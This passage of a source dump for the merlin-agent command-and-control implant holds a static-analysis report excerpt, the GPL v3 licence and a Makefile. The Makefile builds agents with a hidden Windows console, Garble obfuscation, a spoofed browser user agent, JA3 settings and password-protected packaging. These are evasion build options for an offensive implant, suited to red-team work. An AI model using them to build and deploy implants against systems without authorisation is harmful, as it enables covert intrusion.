"High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'uint32'", "markdown": "Unused parameter `uint32`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 87, "startColumn": 31, "charOffset": 3368, "charLength": 6, "snippet": { "text": "uint32" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 85, "startColumn": 1, "charOffset": 3249, "charLength": 264, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\treturn mini, errors.New(\"minidump doesn't work on non-windows hosts\")" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "f79b3430a4df8b619d3bf562ad29ed17fda1633f41f5b81352fc3e8671f6e89a" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'key'", "markdown": "Unused parameter `key`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "transformers/encoders/hex/hex.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 44, "startColumn": 37, "charOffset": 1166, "charLength": 3, "snippet": { "text": "key" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 42, "startColumn": 1, "charOffset": 1047, "charLength": 241, "snippet": { "text": "\n// Construct takes in data, hex encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\n\tretData = make([]byte, hex.EncodedLen(len(data.([]byte))))\n\tswitch c.concrete {" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "ffb99f0b2c049a755ceb4452d210996fd57011b400e30447e150098f164bd575" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } } ], "automationDetails": { "id": "project/qodana/2023-12-26", "guid": "019f687e-a687-4cae-9395-17882a090666", "properties": { "jobUrl": "" } }, "newlineSequences": [ "\r\n", "\n" ], "properties": { "configProfile": "absent", "deviceId": "200820300000000-0371-2720-49f8-13c85cfe4ddc", "qodanaNewResultSummary": { "high": 30, "critical": 2, "moderate": 1, "total": 33 } } } ] } ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Makefile ================================================ # !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!! # Agent file names W=Windows-x64 L=Linux-x64 B=FreeBSD-x64 A=Linux-arm M=Linux-mips D=Darwin-x64 # Merlin version number VERSION=$(shell cat ./core/core.go |grep "var Version ="|cut -d"\"" -f2) MAGENT=merlinAgent PASSWORD=merlin BUILD=$(shell git rev-parse HEAD) DIR=bin/v${VERSION}/${BUILD} # http - Include the HTTP client (including HTTP/1.1, HTTP/2, and HTTP/3) # http1 - Include the HTTP/1.1 client from Go's standard library # http2 - Include the HTTP/2 client # http3 - Include the HTTP/3 client # smb - Include the peer-to-peer SMB client # tcp - Include the peer-to-peer TCP client # udp - Include the peer-to-peer UDP client # winhttp - Include the Windows HTTP client TAGS ?= # Merlin Agent Variables XBUILD=-X "github.com/Ne0nd0g/merlin-agent/v2/core.Build=${BUILD}" URL ?= https://127.0.0.1:443 XURL=-X "main.url=${URL}" PSK ?= merlin XPSK=-X "main.psk=${PSK}" PROXY ?= XPROXY =-X "main.proxy=$(PROXY)" SLEEP ?= 30s XSLEEP =-X "main.sleep=$(SLEEP)" HOST ?= XHOST =-X "main.host=$(HOST)" PROTO ?= h2 XPROTO =-X "main.protocol=$(PROTO)" JA3 ?= XJA3 =-X "main.ja3=$(JA3)" USERAGENT = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36 XUSERAGENT =-X "main.useragent=$(USERAGENT)" HEADERS = XHEADERS =-X "main.headers=$(HEADERS)" SECURE ?= false HTTPCLIENT ?= go XHTTPCLIENT =-X "main.httpClient=$(HTTPCLIENT)" XSECURE =-X "main.secure=${SECURE}" SKEW ?= 3000 XSKEW=-X "main.skew=${SKEW}" PAD ?= 4096 XPAD=-X "main.padding=${PAD}" KILLDATE ?= 0 XKILLDATE=-X "main.killdate=${KILLDATE}" RETRY ?= 7 XRETRY=-X "main.maxretry=${RETRY}" PARROT ?= XPARROT=-X "main.parrot=${PARROT}" AUTH ?= opaque XAUTH=-X "main.auth=${AUTH}" ADDR ?= 127.0.0.1:4444 XADDR=-X "main.addr=${ADDR}" TRANSFORMS ?= jwe,gob-base XTRANSFORMS=-X "main.transforms=${TRANSFORMS}" LISTENER ?= XLISTENER=-X "main.listener=${LISTENER}" # Compile Flags LDFLAGS=-ldflags '-s -w ${XADDR} ${XAUTH} ${XTRANSFORMS} ${XLISTENER} ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XHTTPCLIENT} ${XPSK} ${XSECURE} ${XSLEEP} ${XPROXY} $(XUSERAGENT) $(XHEADERS) ${XSKEW} ${XPAD} ${XKILLDATE} ${XRETRY} ${XPARROT} -buildid=' WINAGENTLDFLAGS=-ldflags '-s -w ${XAUTH} ${XADDR} ${XTRANSFORMS} ${XLISTENER} ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XHTTPCLIENT} ${XPSK} ${XSECURE} ${XSLEEP} ${XPROXY} $(XUSERAGENT) $(XHEADERS) ${XSKEW} ${XPAD} ${XKILLDATE} ${XRETRY} ${XPARROT} -H=windowsgui -buildid=' GCFLAGS=-gcflags=all=-trimpath=$(GOPATH) ASMFLAGS=-asmflags=all=-trimpath=$(GOPATH)# -asmflags=-trimpath=$(GOPATH) # Package Command PACKAGE=7za a -p${PASSWORD} -mhe -mx=9 F=LICENSE # Misc # The Merlin server and agent MUST be built with the same seed value # Set during build with "make linux-garble SEED= SEED=d0d03a0ae4722535a0e1d5d0c8385ce42015511e68d960fadef4b4eaf5942feb # Make Directory to store executables $(shell mkdir -p ${DIR}) # Change default to just make for the host OS and add MAKE ALL to do this default: go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT} ./main.go all: windows windows-debug linux darwin # Compile Agent - Windows x64 windows: export GOOS=windows GOARCH=amd64;go build -tags ${TAGS} -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go # Compile Agent - Windows x64 Debug (Can view STDOUT) windows-debug: export GOOS=windows GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}-Debug.exe ./main.go # Compile Agent - Windows x64 with Garble - The SEED must be the exact same that was used when compiling the server # Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable windows-garble: export GOGARBLE=${GOGARBLE};export GOOS=windows GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go windows-garble-debug: export GOOS=windows GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}-Debug.exe ./main.go # Compile Agent - Linux mips mips: export GOOS=linux;export GOARCH=mips;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${M} ./main.go # Compile Agent - Linux arm arm: export GOOS=linux;export GOARCH=arm;export GOARM=7;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${A} ./main.go # Compile Agent - Linux x64 linux: export GOOS=linux;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go # Compile Agent - Linux x64 with Garble - The SEED must be the exact same that was used when compiling the server # Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable linux-garble: export GOOS=linux GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go # Compile Agent - FreeBSD x64 freebsd: export GOOS=freebsd;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${B} ./main.go # Compile Agent - FreeBSD x64 with Garble - The SEED must be the exact same that was used when compiling the server # Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable freebsd-garble: export GOOS=freebsd GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${B} ./main.go # Compile Agent - Darwin x64 darwin: export GOOS=darwin;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go # Compile Agent - macOS (Darwin) x64 with Garble - The SEED must be the exact same that was used when compiling the server # Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable darwin-garble: export GOOS=darwin GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go package-windows: ${PACKAGE} ${DIR}/${MAGENT}-${W}.7z ${F} cd ${DIR};${PACKAGE} ${MAGENT}-${W}.7z 